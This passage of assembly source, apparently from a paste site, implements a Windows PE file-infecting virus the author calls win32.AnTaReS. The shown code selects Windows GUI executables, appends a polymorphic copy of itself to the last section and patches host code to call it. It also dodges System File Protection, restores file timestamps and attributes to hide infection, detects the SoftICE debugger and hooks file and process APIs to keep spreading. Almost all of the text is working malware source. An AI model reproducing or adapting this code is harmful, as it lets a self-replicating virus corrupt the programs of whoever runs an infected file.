- jc CheckKernel@6
- add ecx,[esi+08h] ; Check the rva points inside the imports
- cmp eax,ecx
- jnc CheckKernel@6
- sub eax,[esi+0Ch]
- add eax,[esi+14h] ; Make rva->raw of import section
- add eax,ebx
- mov ecx,[eax] ; Take the name and check it's Kernel32
- or ecx,20202020h
- cmp ecx,'nrek'
- jnz CheckKernel@6
- mov ecx,[eax+04h]
- or ecx,20202020h
- cmp ecx,'23le'
- jz CheckKernel@7 ; Well... all under control
- CheckKernel@6:
- add edx,14h
- jmp CheckKernel@5 ; Nop... try another selector
- CheckKernel@7:
- xor eax,eax
- inc eax ; The file has kernel imports
- ret
- CheckKernel@1:
- xor eax,eax ; The file has not kernel imports
- ret
- CheckKernelImports endp
- ;#################################################################
- ;# Patch Code Section
- ;# In: esi=offset to Patch
- ;# Out: No Output
- ;#################################################################
- PatchCodeSection proc
- mov edi,esi
- mov eax,0E8h
- stosb ; Insert a call in code section
- mov esi,[esp+04h]
- mov ecx,[@OldDftVirusBegin+ebp]
- mov edx,edi
- sub edx,ebx
- sub edx,[esi+14h] ; Make it points to virus body
- add edx,[esi+0Ch]
- add edx,[@OldImageBase+ebp] ; We use a relative call
- sub ecx,edx
- sub ecx,04h
- mov eax,ecx
- stosd ; Patch it now!
- ret
- PatchCodeSection endp
- ;#################################################################
- ;# Do Infect Stuff
- ;# In: eax->@FileAddr
- ;# Out: eax=01h Error: eax=00h
- ;#################################################################
- DoInfectStuff proc
- push eax
- mov edi,eax
- add edi,[eax+3Ch] ; Go to the Portable Exe header
- mov ebx,eax
- call CheckKernelImports ; Check we have kernel imports
- or eax,eax
- jz DoInfectStuff@7
- mov esi,edi
- add esi,78h ; Jump the Optional header
- mov eax,[edi+74h]
- shl eax,03h
- add esi,eax ; And the directory entry
- movzx ecx,word ptr[edi+06h] ; Get the number of sections
- xor edx,edx
- mov ebx,esi
- DoInfectStuff@2:
- mov eax,[esi+14h]
- cmp edx,eax ; Looking for the last section
- ja DoInfectStuff@1
- mov edx,eax
- mov ebx,esi
- DoInfectStuff@1:
- add esi,28h ; Nop, go to the next one
- loop DoInfectStuff@2
- mov esi,ebx
- mov eax,[edi+34h] ; Save the host image base
- mov [@OldImageBase+ebp],eax
- mov ebx,[esi+10h]
- mov eax,[esi+24h]
- and eax,10000000h ; Check if the section is Shareable
- jnz DoInfectStuff@7
- mov eax,[@AlignFactor+ebp]
- shl eax,01h
- mov ecx,[@FindData.WFD_nFileSizeLow+ebp]
- sub ecx,eax
- mov eax,edx ; Check if the File have overloads
- add eax,ebx
- cmp eax,ecx
- jc DoInfectStuff@7 ; Humm... an Instalation kit may be
- add edx,ebx ; skip this kind of file
- add ebx,[esi+0Ch] ; Calculate the virus default entry point
- add ebx,[@OldImageBase+ebp] ; and save it (the EP without relocations)
- mov [@OldDftVirusBegin+ebp],ebx
- call CreateCleanCopy ; Create a clean copy of virus body
- or eax,eax
- jz DoInfectStuff@7
- pop ebx ; Pop the File Address
- push ebx
- call DoEpoStuff ; Make some Epo cheking / patching etc...
- or eax,eax
- jz DoInfectStuff@8 ; Error... host not valid
- push esi edi
- mov edi,[@VirusBuffer+ebp]
- add edi,@DeltaCritical ; Set some critical vars of new virus
- mov eax,[@OldImageBase+ebp]
- stosd
- mov eax,[@OldDftVirusBegin+ebp]
- stosd
- mov eax,[@OldEpoCall+ebp]
- stosd ; Finish!
- mov eax,[@OldCallType+ebp]
- stosd
- mov edi,ebx
- add edi,edx ; edi points to last section, to insert our virus
- mov eax,9C60h ; Patch in new virus place some pushad/pushfd
- stosw
- mov esi,[@VirusBuffer+ebp] ; New virus clean copy
- mov ecx,@VirusBodySize ; Virus Body Size ;)
- push ebp
- mov ebp,[@OldDftVirusBegin+ebp]
- inc ebp ; Offset (rva+image base) of new virus copy
- inc ebp
- call poly
- pop ebp
- inc ecx
- inc ecx
- mov [@NewVirusSize+ebp],ecx
- call DeleteCleanCopy ; Free all allocated memory
- pop edi esi
- mov eax,[esi+10h]
- add eax,[@NewVirusSize+ebp]
- mov ecx,[@AlignFactor+ebp]
- call Align
- mov [esi+10h],eax ; Change the SizeOfRawData
- mov [esi+08h],eax ; and the VirtualSize
- add eax,[esi+0Ch]
- mov [edi+50h],eax ; Update the ImageSize
- or [esi+24h],0E0000020h ; Make section write/read/code/executable
- mov ebx,[esi+0Ch]
- mov ecx,[edi+74h]
- xchg esi,edi
- add esi,78h
- DoInfectStuff@3:
- lodsd
- cmp eax,ebx ; Make some changes in directory struct
- jnz DoInfectStuff@4 ; now the last section has diferent size
- mov eax,[edi+10h]
- mov [esi],eax
- jmp DoInfectStuff@5
- DoInfectStuff@4:
- lodsd
- loop DoInfectStuff@3
- DoInfectStuff@5:
- mov eax,[@FindData.WFD_nFileSizeLow+ebp]
- add eax,[@NewVirusSize+ebp]
- mov ecx,[@AlignFactor+ebp]
- call Align
- mov ecx,75h ; Calculate the new size of host
- call Align
- mov ecx,eax
- mov [@NewHostSize+ebp],eax
- pop esi
- mov edi,esi
- add edi,[esi+3Ch]
- mov eax,[edi+58h]
- or eax,eax ; Check if the file have a valid CheckSum
- jz DoInfectStuff@6 ; If not go out
- call CheckSumMappedFile ; If yes... recalculate a new one
- mov [edi+58h],eax
- DoInfectStuff@6:
- xor eax,eax ; No problem, file infected!
- inc eax
- ret
- DoInfectStuff@8:
- call DeleteCleanCopy ; Free all allocated memory
- DoInfectStuff@7:
- mov eax,[@FindData.WFD_nFileSizeLow+ebp]
- mov ecx,71h
- call Align ; Make different size padding with infected fails
- mov ecx,eax
- mov [@NewHostSize+ebp],eax
- pop esi
- mov edi,esi
- add edi,[esi+3Ch]
- mov eax,[edi+58h]
- or eax,eax ; Check if the file have a valid CheckSum
- jz DoInfectStuff@9
- call CheckSumMappedFile ; If yes... recalculate a new one
- mov [edi+58h],eax
- DoInfectStuff@9:
- xor eax,eax ; Ups... may be the next one
- ret
- DoInfectStuff endp
- ;#################################################################
- ;# Is File Ok
- ;# In: @FindData @FileHandle
- ;# Out: eax=01h Error: eax=00h
- ;#################################################################
- IsFileOk proc
- push ebx edi
- lea esi,[@FindData.WFD_szFileName+ebp]
- call CheckSfc ; Check if Sfc is present
- or eax,eax ; If yes take care of protected files
- jz IsFile@1
- push esi
- call [@GetFileAttributesA+ebp]
- inc eax
- jz IsFile@1 ; Get the file attributes
- dec eax
- mov [@FindData.WFD_dwFileAttributes+ebp],eax
- push FILE_ATTRIBUTE_NORMAL ; And change them to normal attributes
- push esi
- call [@SetFileAttributesA+ebp]
- or eax,eax
- jz IsFile@1
- call CreateFile ; Create File with read write access
- inc eax
- jz IsFile@2
- dec eax
- mov [@OpenHandle+ebp],eax ; Save the open handle
- xor ebx,ebx
- push ebx
- push eax
- call [@GetFileSize+ebp] ; Get the size of file
- inc eax
- jz IsFile@3
- dec eax
- mov [@FindData.WFD_nFileSizeLow+ebp],eax
- cmp eax,4000h
- jb IsFile@3 ; Avoid little programs
- cmp eax,03E80000h ; and huge also
- ja IsFile@3
- push eax
- mov ecx,75h ; Using size padding we look
- xor edx,edx ; if the file had been infected
- div ecx
- pop eax
- or edx,edx
- jz IsFile@3
- mov ecx,71h ; Using size padding we look
- xor edx,edx ; if the file had been fail infected
- div ecx
- or edx,edx
- jz IsFile@3
- lea eax,[@FindData.WFD_ftLastWriteTime+ebp]
- push eax
- sub eax,08h ; Take the file time and save it
- push eax ; for later use
- sub eax,08h
- push eax
- push [@OpenHandle+ebp]
- call [@GetFileTime+ebp]
- or eax,eax
- jz IsFile@3
- mov eax,[@OpenHandle+ebp]
- mov edi,[@FindData.WFD_nFileSizeLow+ebp]
- xor esi,esi
- call FileMapping ; Create a Map of File
- or eax,eax
- jz IsFile@4
- mov [@MapHandle+ebp],eax ; Save map handle
- call MapViewOfFile ; And mapping it into memory
- or eax,eax
- jz IsFile@5
- mov [@FileAddr+ebp],eax ; Save the mapped file address
- call DoCheckStuff ; Let's look into file for check
- or eax,eax
- jz IsFile@6
- mov eax,[@FileAddr+ebp] ; File ok? go and unmap it...
- call UnmapViewOfFile
- mov eax,[@MapHandle+ebp]
- call CloseHandle ; Close handle and set eax
- xor eax,eax ; The infection process will go on
- inc eax
- pop edi ebx
- ret
- IsFile@6:
- mov eax,[@FileAddr+ebp] ; Unmapping the file
- call UnmapViewOfFile
- IsFile@5:
- mov eax,[@MapHandle+ebp] ; Closing the handle
- call CloseHandle
- IsFile@4:
- lea eax,[@FindData.WFD_ftLastWriteTime+ebp]
- push eax
- sub eax,08h ; Restore the initial file time
- push eax
- sub eax,08h
- push eax
- push [@OpenHandle+ebp]
- call [@SetFileTime+ebp]
- IsFile@3:
- mov eax,[@OpenHandle+ebp]
- call CloseHandle ; Close the file create handle
- IsFile@2:
- mov eax,[@FindData.WFD_dwFileAttributes+ebp]
- push eax ; Restore the initial file attributes
- lea esi,[@FindData.WFD_szFileName+ebp]
- push esi
- call [@SetFileAttributesA+ebp]
- IsFile@1:
- xor eax,eax ; eax=NULL file not valid
- pop edi ebx
- ret
- IsFileOk endp
- ;#################################################################
- ;# Do Check Stuff
- ;# In: eax->@FileAddr
- ;# Out: eax=01h Error: eax=00h
- ;#################################################################
- DoCheckStuff proc
- mov edi,eax
- mov ax,[edi]
- cmp ax,'ZM' ; Have DOS stuff header?
- jnz DoCheck@1
- mov ax,[edi+18h]
- cmp ax,40h ; Is a NewExe?
- jnz DoCheck@1
- mov eax,[edi+3Ch]
- add edi,eax
- mov ax,[edi]
- cmp ax,'EP' ; Have a PortableExe header?
- jnz DoCheck@1
- mov ax,[edi+04h]
- cmp ax,014Ch ; For Intel386?
- jnz DoCheck@1
- mov ax,[edi+06h]
- cmp ax,03h ; At least 3 sections
- jb DoCheck@1
- mov ax,[edi+14h]
- or ax,ax ; Have an Optional Header?
- jz DoCheck@1
- mov eax,[edi+1Ch]
- or eax,eax ; And a valid Code section?
- jz DoCheck@1
- mov eax,[edi+2Ch]
- or eax,eax ; Have Code section, right?
- jz DoCheck@1
- mov ax,[edi+5Ch]
- dec ax ; Check it is a Windows GUI app
- dec ax
- jnz DoCheck@1
- mov eax,[edi+3Ch] ; Save the AlignFactor
- mov [@AlignFactor+ebp],eax
- xor eax,eax
- inc eax ; Ok, file is valid
- ret
- DoCheck@1:
- xor eax,eax ; Ups... try again
- ret
- DoCheckStuff endp
- ;#################################################################
- ;# Check Sfc
- ;# In: esi->FileName
- ;# Out: eax=01h (No Sfc) Error: eax=00h (File Protected)
- ;#################################################################
- CheckSfc proc
- mov eax,[@SfcIsFileProtected+ebp]
- or eax,eax ; Look if we have Sfc loaded
- jz CheckSfc@1 ; If not skip and go on
- lea edi,[@FindData.WFD_nFileSizeHigh+ebp]
- push edi
- lea edi,[@PathTwo+ebp] ; Just get the full path of file
- push edi
- push MAX_PATH
- push esi
- call [@GetFullFilePathA+ebp]
- or eax,eax
- jz CheckSfc@2
- mov esi,edi
- lea edi,[@PathSfc+ebp]
- call Asciiz2Unicode ; Make the path unicode
- push edi ; and check if the file is protected
- push eax
- call [@SfcIsFileProtected+ebp]
- or eax,eax
- jz CheckSfc@1 ; If protected file, try with other one
- CheckSfc@2:
- xor eax,eax ; Ups! we have Sfc... take care
- ret ; with protected files
- CheckSfc@1:
- inc eax ; If not protected... you know what
- ret
- CheckSfc endp
- include ..\Source\ETMS.inc ; Expressway To My Skull [ETMS] by b0z0/iKX
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Virus Data (win32.AnTaReS)
- ;#################################################################
- ;@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
- ;#################################################################
- ;# Var for Virus Main Body
- ;#################################################################
- @Critical:
- @ImageBase dd 00400000h ; Hardcoded ImageBase
- @DefaultVirusBegin dd offset @VirusBegin ; Hardcoded VirusBegin
- @EpoCall dd 00406054h ; Hardcoded offset of MessageBoxA in Import table
- @CallType dd 00000000h ; Tasm calls for 1st gen
- @KernelBase dd ?
- @AlignFactor dd ? ; Some Main vars
- @NewHostSize dd ?
- @NewVirusSize dd ?
- @OldImageBase dd ? ; Vars for Infection proc
- @OldDftVirusBegin dd ?
- @OldEpoCall dd ? ; Vars for Epo Stuff
- @OldCallType dd ?
- @PatchOffset dd ? ; Offset to patch (epo routine)
- @Random dd ? ; Random value
- @VirusBuffer dd ? ; Buffer for a new virus clean copy
- ;#################################################################
- ;# Var for Anti Debug
- ;#################################################################
- @SoftIceA db '\\.\SICE',0
- @SoftIceB db '\\.\NTICE',0
- ;#################################################################
- ;# Var for File Handle
- ;#################################################################
- @OpenHandle dd ? ; Handle of open file
- @MapHandle dd ? ; Handle of file map
- @FileAddr dd ? ; Base Addr of mapped file
- ;#################################################################
- ;# Var for Load Sfc Library
- ;#################################################################
- @SfcIsFileProtectedN db 'SfcIsFileProtected',0
- @SfcIsFileProtected dd ? ; Classic vars
- ;#################################################################
- ;# Var for GetAllApiAddress
- ;#################################################################
- @OrdinalTable dd ? ; Ordinal Table Addr
- @AddressTable dd ? ; Address Table Addr
- @NameTable dd ? ; Name Table Addr
- @NumberNames dd ? ; Number of apis imported by name
- ;#################################################################
- ;# Var for Find Direct Action
- ;#################################################################
- @PathOne db MAX_PATH dup (?)
- @PathTwo db MAX_PATH dup (?)
- @FindData WIN32_FIND_DATA ? ; Find File Struct
- @FindMask db '*.*',0 ; General Mask (all kind of files)
- @FindHandle dd ? ; The Find Handle
- ;#################################################################
- ;# Var for Find Link Files
- ;#################################################################
- @SubKey db 'Software\Microsoft\Windows\CurrentVersion\Explorer\Shell Folders',0
- @RegName db 'Desktop',0 ; Some values like the SubKey, type and name
- @RegType db 'REG_SZ',0
- @FindLink db '*.LNK',0 ; For FindFirst / FindNext
- @RegSize dd MAX_PATH ; The Buffer size
- @RegHandle dd ? ; Handle of open register
- ;#################################################################
- ;# Var for Payload
- ;#################################################################
- @SystemTime SYSTEMTIME ? ; For payload use
- @Xcoord dd ? ; Coord of screen center
- @Ycoord dd ?
- @DeviceCtx dd ? ; Some handles
- @HandleIcon dd ?
- @Degrees dd ?
- @Const dd 000000B4h ; 180... for radians/degrees conversion
- @Radius dd 00000070h ; Radius of circles
- @Result dd ?
- ;#################################################################
- ;# Var for Per Process
- ;#################################################################
- @OffsetsHookStruct:
- @HookApi1 dd offset HookCreateFileA ; Offsets of the hooking process
- @HookApi2 dd offset HookMoveFileA
- @HookApi3 dd offset HookCopyFileA
- @HookApi4 dd offset HookCreateProcessA
- @HookApi5 dd offset HookSetFileAttributesA
- @HookApi6 dd offset HookGetFileAttributesA
- @HookApi7 dd offset HookSearchPathA
- ;#################################################################
- ;# Var for Load New Library
- ;#################################################################
- @Advapi32N db 'ADVAPI32.DLL',0 ; Name of Libraries we need
- @User32N db 'USER32.DLL',0
- @SfcN db 'SFC.DLL',0
- ;#################################################################
- ;# Struct Apis Crc32 (ADVAPI32.DLL)
- ;#################################################################
- @Advapi32:
- CrcRegOpenKeyExA dd 0CD195699h
- @RegOpenKeyExA dd ?
- CrcRegQueryValueExA dd 088B7093Bh
- @RegQueryValueExA dd ?
- CrcRegCloseKey dd 0841802AFh
- @RegCloseKey dd ?
- db 0EEh
- ;#################################################################
- ;# Struct Apis Crc32 (USER32.DLL)
- ;#################################################################
- @User32:
- CrcGetDC dd 0BAD76D5Bh
- @GetDC dd ?
- CrcReleaseDC dd 0CBB05455h
- @ReleaseDC dd ?
- CrcGetSystemMetrics dd 0EADFEB07h
- @GetSystemMetrics dd ?
- CrcLoadIconA dd 0B9C520FCh
- @LoadIconA dd ?
- CrcDrawIcon dd 074610281h
- @DrawIcon dd ?
- CrcMessageBeep dd 0654BBB02h
- @MessageBeep dd ?
- db 0EEh
- ;#################################################################
- ;# Struct Apis Crc32
- ;#################################################################
- @ApisCrc32:
- CrcGlobalAlloc dd 083A353C3h
- @GlobalAlloc dd ?
- CrcGlobalFree dd 05CDF6B6Ah
- @GlobalFree dd ?
- CrcGetFileSize dd 0EF7D811Bh
- @GetFileSize dd ?
- CrcGetFileTime dd 04434E8FEh
- @GetFileTime dd ?
- CrcSetFileTime dd 04B2A3E7Dh
- @SetFileTime dd ?
- CrcGetFullFilePathA dd 08F48B20Dh
- @GetFullFilePathA dd ?
- CrcGetModuleHandleA dd 082B618D4h
- @GetModuleHandleA dd ?
- CrcGetTickCount dd 0613FD7BAh
- @GetTickCount dd ?
- CrcFindFirstFileA dd 0AE17EBEFh
- @FindFirstFileA dd ?
- CrcFindNextFileA dd 0AA700106h
- @FindNextFileA dd ?
- CrcGetCurrentProcess dd 003690E66h
- @GetCurrentProcess dd ?
- CrcWriteProcessMemory dd 00E9BBAD5h
- @WriteProcessMemory dd ?
- CrcCloseHandle dd 068624A9Dh
- @CloseHandle dd ?
- CrcCreateFileMappingA dd 096B2D96Ch
- @CreateFileMappingA dd ?
- CrcFindClose dd 0C200BE21h
- @FindClose dd ?
- CrcFreeLibrary dd 0AFDF191Fh
- @FreeLibrary dd ?
- CrcGetCurrentDirectoryA dd 0EBC6C18Bh
- @GetCurrentDirectoryA dd ?
- CrcGetProcAddress dd 0FFC97C1Fh
- @GetProcAddress dd ?
- CrcGetSystemDirectoryA dd 0593AE7CEh
- @GetSystemDirectoryA dd ?
- CrcGetSystemTime dd 075B7EBE8h
- @GetSystemTime dd ?
- CrcGetWindowsDirectoryA dd 0FE248274h
- @GetWindowsDirectoryA dd ?
- CrcLoadLibraryA dd 04134D1ADh
- @LoadLibraryA dd ?
- CrcMapViewOfFile dd 0797B49ECh
- @MapViewOfFile dd ?
- CrcSetEndOfFile dd 059994ED6h
- @SetEndOfFile dd ?
- CrcSetFilePointer dd 085859D42h
- @SetFilePointer dd ?
- CrcSetCurrentDirectoryA dd 0B2DBD7DCh
- @SetCurrentDirectoryA dd ?
- CrcUnmapViewOfFile dd 094524B42h
- @UnmapViewOfFile dd ?
- @ApisCrc32Hooks:
- CrcCreateFileA dd 08C892DDFh
- @CreateFileA dd ?
- CrcMoveFileA dd 02308923Fh
- @MoveFileA dd ?
- CrcCopyFileA dd 05BD05DB1h
- @CopyFileA dd ?
- CrcCreateProcessA dd 0267E0B05h
- @CreateProcessA dd ?
- CrcSetFileAttributesA dd 03C19E536h
- @SetFileAttributesA dd ?
- CrcGetFileAttributesA dd 0C633D3DEh
- @GetFileAttributesA dd ?
- CrcSearchPathA dd 0F4D9D033h
- @SearchPathA dd ?
- db 0EEh
- @CopyLeft db 'win32.AnTaReS by PiKaS (only for research purposes)',0
- ;#################################################################
- ;# Var for Virus Core
- ;#################################################################
- @PathSfc dw MAX_PATH dup (?) ; Just a huge buffer
- @VirusEnd:
- end HostStart
- ;#################################################################
- ;# Metropolis-PartI:The Miracle And The Sleeper (DreamTheater)
- ;####################################[Win32.AnTaReS by PiKaS]#####
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement